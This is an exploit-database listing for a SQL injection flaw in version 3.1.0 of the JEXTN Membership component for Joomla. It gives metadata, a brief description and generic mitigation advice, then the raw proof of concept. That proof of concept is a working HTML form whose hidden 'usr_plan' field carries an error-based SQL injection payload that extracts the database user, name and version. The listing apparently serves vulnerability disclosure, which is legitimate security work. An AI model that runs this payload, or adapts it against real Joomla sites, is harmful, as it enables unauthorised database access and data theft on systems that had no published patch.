Joomla! Component JEXTN Membership 3.1.0 - SQL Injection

vendor:

JEXTN Membership

by:

Ihsan Sencan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: JEXTN Membership

Affected Version From: 3.1.0

Affected Version To: 3.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:jextn:jextn_membership:3.1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Joomla! Component JEXTN Membership 3.1.0 – SQL Injection

The vulnerability allows an attacker to inject sql commands into the vulnerable application. An attacker can send a specially crafted request to vulnerable application and execute arbitrary sql commands in application's database. This can compromise the data and the security of the application.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

<!--
# # # # #
# Exploit Title: Joomla! Component JEXTN Membership 3.1.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://www.jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/jextn-membership/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)	
# # # # #
-->
<html>
<body>
<form action="http://localhost/index.php?option=com_jemembership&view=myplans&task=myplans.usersubscriptions" method="post">
<input name="usr_plan" value="(SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" type="hidden">
<input type="submit" value="Ver Ayari">
</form>
</body>
</html>